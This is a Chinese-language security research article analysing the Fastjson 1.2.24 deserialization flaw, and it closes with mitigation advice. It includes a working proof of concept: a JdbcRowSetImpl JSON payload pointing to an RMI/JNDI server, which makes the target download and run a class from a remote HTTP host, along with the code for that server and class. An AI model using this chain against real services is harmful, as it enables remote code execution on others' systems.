Fastjson 1.2.24 反序列化漏洞研究
一、概述
fastjson自2017年爆出序列化漏洞以來,漏洞就一直停不下來。本次主要研究2017年第一次爆出反序列化漏洞。
二、漏洞復現
首先在本機簡單進行下漏洞復現。
建立Poc類
該類為最終觸發利用程式碼的類,因為是通過JAVA RMI方式讀取,所以該類需繼承UnicastRemoteObject。該物件執行後會在windows環境中彈出計算器。使用javac編譯Poc類,生成Poc.class檔案。並啟用一個簡單的Http服務,提供讀取Poc.class檔案,通過http://10.2.13.27:8888/Poc.class可成功訪問到Poc.class檔案
import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject; public class Poc extends UnicastRemoteObject{ public Poc() throws RemoteException{ try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static voidmain(String[] args){ try { Poc poc = new Poc(); }catch (Exception e){ e.printStackTrace(); } } }
建立RMI服務端
public class RMIService { public static void main(String[] args){ try { //netPoc poc = new Poc(); Registry registry = LocateRegistry.createRegistry(10999);//JdbcRowSetImpl中是通過jndi lookup方法進行程式碼注入 Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Poc",referenceWrapper); System.out.println("bind 10999...."); }catch (Exception e){ e.printStackTrace(); } } }
示例程式碼
若Jdk版本高於8u113需要新增System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"),否則將不會成功。因為高版本jdk禁止了RMI協議使用遠端codebase。
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; /** * 利用JdbcRowSetImpl進行反序列化,但高版本jdk無法成功JDK 6u132, 7u122, or 8u113 * */ public class FastJsonService { public static void main(String[] args){ System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); //JdbcRowSetImpl String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}"; JSONObject jsonObject = JSON.parseObject(str); } }
執行效果
三、漏洞分析
3.1 總體分析
fastjson主要用來進行序列化和反序列化操作。本次漏洞利用主要是反序列化模組,當我們傳入一個json字串時
"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
因json中指定了@type引數,故fastjson會嘗試將該字串反序列化為JdbcRowSetImpl類物件,並呼叫類中的set方法對dataSourceName和autoCommit屬性進行賦值。
fastjson進行反序列化時,如果類中存在無參建構函式,則直接呼叫無參建構函式進行初始化類。若不存在無參建構函式,則會尋找引數最多的建構函式進行初始化類。
故會直接呼叫JdbcRowSetImpl類中的無參建構函式進行類初始化。可看到conn設定為null。所以setAutoCommit方法會進入else中,即呼叫this.conn = this.connect();
在connect()中可以看到會呼叫JNDI的lookup函式,並且引數值為我們反序列化時傳入的dataSourceName屬性,dataSourceName傳入值為rmi://10.2.13.27:10999/Poc,所以最終會成功執行到我們編寫的Poc類。
3.2 詳細分析
首先,借用別人畫的fastjson部分類關係圖
鑑於我們的Payload最終是Runtime.getRuntime.exec("calc"),所以我們在Runtime類的exec方法中設定斷點並啟動除錯模式
完整呼叫路徑如下圖,我們跟蹤下呼叫過程
1.JSON
首先呼叫JSON物件,依次為 parseObject(String text)-->parse(String text)->parse(String text,int featrues),其中text為我們輸入的{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features為989
在parse(String text,int features)中呼叫DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features);
首先初始化了一個DefaultJSONParser的物件,呼叫的是DefaultJSONParser的三引數建構函式,在DefaultJSONParser建構函式中呼叫了new JSONScanner(input,features)
其中input即為我們的輸入{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features為989
隨後呼叫DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config)
主要將上一步生成的JSONScanner物件賦值給JSONlexer物件lexer並進行一些初始化操作,ch設定為‘{’,token設定為JSONTOKEN.LBRACE即12
至此new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features)完成。
下一步進入JSON類的parse(String text,int features)的Object value=parser.parse() ,即DefaultJSONParse類的parse()方法
2.DefaultJSONParse
繼續進入parse()--》parse(ObjectfieldName),上一步DefaultJSONParse初始化時,token設定成JSONTOKEN.LBRACE
隨後進入parseObject(object,fieldName),通過scanSymbol獲取到“@type”
再獲取到我們payload中@type的值為"com.sun.rowset.JdbcRowSetImpl",並通過loadClass載入
隨後進入
3. JavaBeanDeserializer
進入JavaBeanDeserializer的deserialze方法,並執行到boolean match = parseField(parser, key, object, type, fieldValues);
一路跟蹤,最後進入public void setValue(Object object, Object value) 方法,method即為我們傳入的JdbcRowSetImpl.setAutoCommit,value即為true。最終會呼叫傳入類的set方法進行賦值,即最終呼叫setAutoCommit(true)。
至此,就進入我們在3.1中對jdbcRowSetImpl類的setAutoCommit方法的分析,最終導致了遠端程式碼執行。
四、漏洞預防
fastjson在1.2.25開始的版本中新增public Class<?> checkAutoType(String typeName, Class<?> expectClass)方法,denyList陣列中的類均無法進行反序列化。但仍然存在繞過checkAutoType方法的途徑,後續再分析。
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
若要避免fastjson已知漏洞,請直接升級到最新版。
TRANSLATE with x English TRANSLATE with EMBED THE SNIPPET BELOW IN YOUR SITE Enable collaborative features and customize widget: Bing Webmaster Portal Back